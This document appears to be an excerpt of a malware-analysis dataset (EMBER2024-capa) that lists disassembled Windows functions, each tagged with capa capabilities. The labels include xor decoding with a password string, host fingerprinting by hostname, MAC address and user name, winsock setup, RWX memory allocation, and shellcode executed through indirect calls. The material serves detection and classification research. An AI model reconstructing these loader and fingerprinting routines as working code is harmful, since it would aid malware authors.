joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001f0c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
test byte [rcx + 3], 0xf
mov r15, r9
mov rsi, rcx
jne 0x180002109
movzx edx, word [rcx + 6]
xor ebp, ebp
movzx ecx, word [rcx + 4]
mov eax, edx
shr eax, 8
shl edx, 8
or eax, edx
mov edx, 0xc
movzx ebx, ax
mov eax, ecx
shl ecx, 8
shr eax, 8
or eax, ecx
mov dword [rsp + 0x24], ebx
movzx ecx, ax
test ecx, ecx
je 0x180001f8a
jmp 0x180001f7c
movsxd rax, edx
cmp byte [rax + rsi], bpl
je 0x180001f81
movzx eax, byte [rax + rsi]
inc edx
add edx, eax
cmp edx, r8d
jl 0x180001f6b
add edx, 5
sub rcx, 1
jne 0x180001f7c
mov dword [rsp + 0x60], ebp
mov edi, ebp
mov r13d, ebp
test ebx, ebx
je 0x1800020b7
mov r9d, 0x1000
movsxd r8, edx
lea r12d, [rdx + 6]
movzx edx, word [r8 + rsi + 2]
cmp dx, r9w
je 0x180001fd7
movsxd rcx, edi
inc edi
movsxd rdx, r12d
mov al, byte [rdx + rsi + 2]
mov byte [rcx + r15], al
mov al, byte [rdx + rsi + 3]
movsxd rcx, edi
inc edi
mov byte [rcx + r15], al
movzx edx, word [r8 + rsi + 2]
lea eax, [r12 + 5]
movsxd rcx, eax
movsxd rax, r12d
add r12d, 6
movzx r14d, byte [rcx + rsi]
movzx ecx, byte [rax + rsi + 4]
mov eax, 0x100
shl ecx, 8
or r14d, ecx
cmp dx, ax
jne 0x18000201c
movsxd rdx, r12d
movsxd rcx, edi
add rdx, rsi
add rcx, r15
mov r8d, r14d
call fcn.180003014
add edi, r14d
jmp 0x18000209c
mov eax, 0x1c00
cmp dx, ax
je 0x180002000
mov eax, 0x500
cmp dx, ax
jne 0x18000204d
movsxd rax, r12d
lea rcx, [rsi + 1]
movsxd r8, edi
add rcx, rax
add r8, r15
movzx edx, byte [rax + rsi]
call fcn.180001a98
add edi, eax
jmp 0x18000209c
cmp dx, r9w
jne 0x180002109
test r14d, r14d
je 0x1800020a2
movsxd r13, r12d
lea eax, [r12 + rbp]
movsxd r8, edi
movsxd rbx, eax
lea rcx, [rsi + 1]
movsxd rax, ebp
add r8, r15
add rax, r13
add rcx, rax
movzx edx, byte [rbx + rsi]
call fcn.180001a98
add edi, eax
inc ebp
movzx eax, byte [rbx + rsi]
add ebp, eax
cmp ebp, r14d
jl 0x18000205f
mov r13d, dword [rsp + 0x60]
xor ebp, ebp
mov ebx, dword [rsp + 0x24]
mov r9d, 0x1000
inc r13d
lea edx, [r12 + r14]
mov dword [rsp + 0x60], r13d
cmp r13d, ebx
jl 0x180001fa1
mov r8d, 2
cmp edi, r8d
jle 0x180002105
lea r9, [r15 + 2]
movsxd rax, ebp
lea rdx, str.KEY_PASSWORD
mov ecx, r8d
inc r8d
and ecx, 1
mov cl, byte [rcx + r15]
xor cl, byte [rax + rdx]
mov eax, 0x84210843
xor byte [r9], cl
inc r9
inc ebp
imul ebp
add edx, ebp
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1f
sub ebp, ecx
cmp r8d, edi
jl 0x1800020c6
mov eax, edi
jmp 0x18000210b
xor eax, eax
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1800026f0
Capabilities:
Get hostname
Get mac address on windows
Get session user name

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
xor ebx, ebx
lea rdx, [rbp + 0x67]
xor ecx, ecx
mov dword [rbp + 0x67], ebx
mov esi, ebx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
movsxd rcx, dword [rbp + 0x67]
call fcn.18000309c
lea rdx, [rbp + 0x67]
mov dword [0x180005340], ebx
mov rcx, rax
mov r14, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x1800027c0
mov rsi, r14
mov edi, ebx
test r14, r14
je 0x180002791
lea rcx, [rsi + 0x1f0]
call fcn.180003110
cmp eax, 0xa743ce0e
je 0x180002789
cmp dword [rsi + 0x1a4], 6
jne 0x180002771
test rdi, rdi
je 0x180002786
cmp dword [rdi + 0x1a4], 6
jmp 0x180002784
test rdi, rdi
je 0x180002786
mov eax, dword [rdi + 0x1a4]
cmp eax, 6
je 0x180002789
cmp eax, 0x47
je 0x180002789
mov rdi, rsi
mov rsi, qword [rsi]
test rsi, rsi
jne 0x180002747
mov r8d, dword [rdi + 0x194]
lea rdx, [rdi + 0x198]
lea rcx, [rbp - 0x49]
call fcn.180003014
mov esi, dword [rdi + 0x194]
lea rcx, [rdi + 0x1c0]
call fcn.18000283c
mov dword [0x180005340], eax
mov rcx, r14
call fcn.180003088
mov edi, 0x80
lea r14, [rbp - 0x49]
mov eax, edi
lea rdx, [rbp + 0x6f]
sub eax, esi
mov dword [rbp + 0x6f], eax
movsxd rax, esi
add r14, rax
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x1800027f4
mov ebx, dword [rbp + 0x6f]
dec ebx
add esi, ebx
mov edx, ebx
sub edi, esi
mov dword [rbp + 0x6f], ebx
add rdx, r14
mov dword [rbp + 0x77], edi
lea r8, [rbp + 0x77]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
neg eax
sbb ecx, ecx
and ecx, dword [rbp + 0x77]
mov dword [rbp + 0x77], ecx
lea edx, [rcx + rsi]
lea rcx, [rbp - 0x49]
call fcn.1800030f0
mov dword [0x180005334], eax
add rsp, 0xa0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x180002884
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1c8
call fcn.180003058
mov dword [0x18000534c], 0x99aabbcc
call fcn.1800026f0
call fcn.180001d44
call fcn.180001db8
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, 0x202
lea rdx, [rsp + 0x20]
mov qword [0x180005338], rax
call sub.WS2_32.dll_WSAStartup
lea rcx, [0x180005140]
call fcn.180001e28
lea rcx, [0x180005278]
call fcn.180002514
mov dword [0x180005348], 0x55667788
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x180005330], eax
call fcn.180002c78
mov al, 1
add rsp, 0x1c8
ret
Function at 0x180002940
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
cmp edx, 2
jge 0x180002956
xor al, al
jmp 0x1800029bc
movzx ecx, byte [rcx]
xor edi, edi
test ecx, ecx
je 0x1800029b1
sub ecx, 1
je 0x18000297e
cmp ecx, 1
mov rcx, rbx
je 0x180002973
call fcn.180002cdc
jmp 0x1800029ac
mov eax, dword [rbx + 2]
mov dword [0x180005348], eax
jmp 0x1800029a7
mov qword [rsp + 0x28], rdi
lea r8, [0x180002910]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.180003088
mov dil, 1
jmp 0x1800029b9
mov rcx, rbx
call fcn.180003088
mov al, dil
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x180002a2c
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov eax, dword [0x180005350]
mov esi, r8d
inc eax
mov rbp, rdx
and eax, 0x8000000f
jge 0x180002a5c
dec eax
or eax, 0xfffffff0
inc eax
mov dword [0x180005350], eax
mov edx, 0x80
cdqe
imul rdi, rax, 0x2008c
add rdi, qword [0x180005358]
mov dword [rdi], ecx
lea rcx, [rdi + 0xc]
mov dword [rdi + 4], esi
mov dword [rdi + 8], r9d
call fcn.1800030b0
lea rcx, [rdi + 0x8c]
mov r8d, esi
lea r9, [rdi + 0xc]
mov rdx, rbp
call fcn.180002bd0
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180002cdc
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov edi, edx
mov ecx, select
call fcn.18000309c
and qword [rsp + 0x28], 0
lea r8, [0x180002f30]
and dword [rsp + 0x20], 0
mov r9, rax
xor edx, edx
xor ecx, ecx
mov qword [rax], rbx
mov dword [rax + 8], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
Function at 0x180002d50
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
movzx esi, cl
mov r14d, r9d
mov cl, sil
mov r15, r8
mov rbp, rdx
call fcn.180002c48
mov rbx, rax
test rax, rax
je 0x180002d9a
mov rax, qword [rax + 8]
test rax, rax
je 0x180002d97
xor edx, edx
xor r8d, r8d
lea ecx, [rdx + 6]
call rax
mov byte [rbx], 0
xor ecx, ecx
call fcn.180002c48
mov rdi, rax
xor ecx, ecx
mov r8d, 0x3000
and qword [rax + 8], 0
mov byte [rax], sil
lea r9d, [rcx + 0x40]
movsxd rdx, dword [rbp + 4]
lea rax, [0x180002b40]
mov qword [rsp + 0x24], rax
lea rax, [0x180002ab8]
mov qword [rsp + 0x2c], rax
lea rax, [0x180002b68]
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x20], esi
mov qword [rsp + 0x3c], r15
mov dword [rsp + 0x44], r14d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp + 4]
lea r9, [rbp + 0xc]
mov rcx, rax
lea rdx, [rbp + 0x8c]
mov rbx, rax
call fcn.180002bd0
movsxd rdx, dword [rbp + 8]
lea rcx, [rsp + 0x20]
add rdx, rbx
call rdx
mov esi, 0x8000
xor edx, edx
mov r8d, esi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea r11, [rsp + 0x50]
mov byte [rdi], 0
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x180002e5c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
movsxd rsi, dword [rdx + 8]
lea rbp, [rdx + 0x10]
mov edi, dword [rdx]
mov r14b, cl
mov r12d, dword [rdx + 4]
mov ecx, edi
mov r15d, dword [rdx + 0xc]
lea rbx, [rsi + rbp]
call fcn.180002c10
test rax, rax
jne 0x180002eae
mov r9d, r12d
mov r8d, esi
mov rdx, rbp
mov ecx, edi
call fcn.180002a2c
mov r9d, r15d
mov r8, rbx
mov rdx, rax
mov cl, r14b
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
jmp fcn.180002d50

Function at 0x1800030b8
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov ebx, edx
mov edi, ecx
mov edx, 4
lea rcx, [rsp + 0x30]
call fcn.180003163
mov eax, dword [rsp + 0x30]
sub ebx, edi
inc ebx
xor edx, edx
div ebx
mov rbx, qword [rsp + 0x38]
lea eax, [rdi + rdx]
add rsp, 0x20
pop rdi
ret

Function at 0x1800030f0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
xor eax, eax
test edx, edx
jle 0x18000310d
mov r8d, edx
movzx edx, byte [rcx]
inc rcx
xor eax, edx
imul eax, eax, 0x1000193
sub r8, 1
jne 0x1800030f9
ret

Function at 0x180003110
Capabilities:
Hash data using fnv

Disassembly:
test rcx, rcx
jne 0x180003118
xor eax, eax
ret
xor edx, edx
jmp 0x18000312a
movzx eax, al
inc rcx
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [rcx]
test al, al
jne 0x18000311c
mov eax, edx
ret
Function at 0x1400015e0
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x38
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x10
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
js 0x140001615
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
jmp 0x14000161a
call fcn.14001bde0
mov ecx, dword [0x14002c220]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov qword [rcx + 0x58], 1
mov qword [rcx + 0x60], rax
mov qword [rcx + 0x68], rdx
add rsp, 0x38
ret

Function at 0x140002580
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x1400025c2
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 3
jbe 0x1400025ca
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x1400025db
jmp 0x1400025f2
xor r10d, r10d
jmp 0x14000267d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x1400025f2
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x140002609
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x140002629
add r11, r8
jmp 0x14000275a
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x1400026f2
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x1400026a0
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 3
jbe 0x140002710
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x140002722
jmp 0x14000273c
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x14000273c
lea rcx, [r8 + r10]
movzx esi, word [rdx + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x140002756
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x140007920
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x1400079b0
cmp r11, r10
ja 0x140007a26
cmp r10, rdx
ja 0x140007a3a
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x1400079b2
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140007990
jmp 0x140007a14
ja 0x1400079ba
mov r11, r10
cmp rax, r8
jne 0x140007954
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x1400079f0
mov rdi, r8
sub ecx, edx
jns 0x140007a0b
jmp 0x140007a16
cmp r8, rsi
je 0x140007a4b
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140007a16
xor al, 1
cmp rdi, rsi
jne 0x1400079d0
jmp 0x140007a16
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140020510
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1400202a0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value__
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140020320
ud2
Function at 0x14000b210
Capabilities:
Generate random numbers via rtlgenrandom
Generate random numbers via winapi

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rbx, rcx
xor edi, edi
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x20
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
cmp eax, 0xc0000000
jb 0x14000b29a
mov esi, eax
mov rcx, rbx
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x14000b252
xor edi, edi
jmp 0x14000b29a
xor esi, 0x80000000
je 0x14000b24e
movzx eax, byte [0x14002c1f0]
mov rcx, qword [0x14002c178]
test rcx, rcx
jne 0x14000b282
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000b2a5
mov rcx, rax
mov qword [0x14002c178], rax
mov r8d, 4
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000b2a5
mov rdi, rax
mov dword [rax], esi
mov rax, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov ecx, 4
mov edx, 4
call fcn.140020080
ud2

Function at 0x14000efe0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae fcn.140005270
cmp rax, rcx
je 0x14000f005
cmp rdx, 4
jae 0x14000f008
xor eax, eax
xor r8d, r8d
jmp 0x14000f0a0
xor eax, eax
ret
mov r8, rdx
and r8, 0xfffffffffffffffc
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x1400223d0]
movdqa xmm3, xmmword [0x1400223e0]
pxor xmm1, xmm1
nop dword [rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x14000f030
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x14000f0b7
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x14000f0a0
ret
Function at 0x140014010
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
movups xmm0, xmmword [0x140026898]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x140014083
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x1400140ba
test eax, eax
js 0x140014094
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1400140ad
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140013250
mov rcx, rax
call fcn.140012ad0
mov ecx, 7
int 0x29
ud2
Function at 0x14001aae0
Capabilities:
Create directory

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.140014b80
mov rax, qword [rsp + 0x20]
mov eax, dword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
test rax, rax
je 0x14001ab94
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x20]
call fcn.14001a480
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
test rdi, rdi
je 0x14001ab94
mov rcx, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14001ab66
test rsi, rsi
je 0x14001ab92
mov rcx, qword [0x14002c178]
xor esi, esi
xor edx, edx
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14001ab94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test rsi, rsi
je 0x14001ab8d
mov rcx, qword [0x14002c178]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, rbx
jmp 0x14001ab94
xor esi, esi
mov rax, rsi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret

Function at 0x14001bde0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x14001be23
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x140019680]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.140020160
ud2

Function at 0x14001f0d4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001f11e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001f11e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001f11e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001f11e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001f11e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001f120
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14002a430]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14002a440]
mov dword [rax], 1
mov rax, qword [0x14002a450]
mov dword [rax], 1
mov rax, qword [0x14002a390]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14002a420]
mov dword [0x14003000c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14002a510]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14002a4f0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14002a370]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x14000553c
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
cmp qword [rbp + 0x18], 0
je 0x14000556c
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.nimCStrLen
mov rcx, rax
jmp 0x140005571
mov ecx, 0
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov r9, rdx
mov r8, rcx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14000f737
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret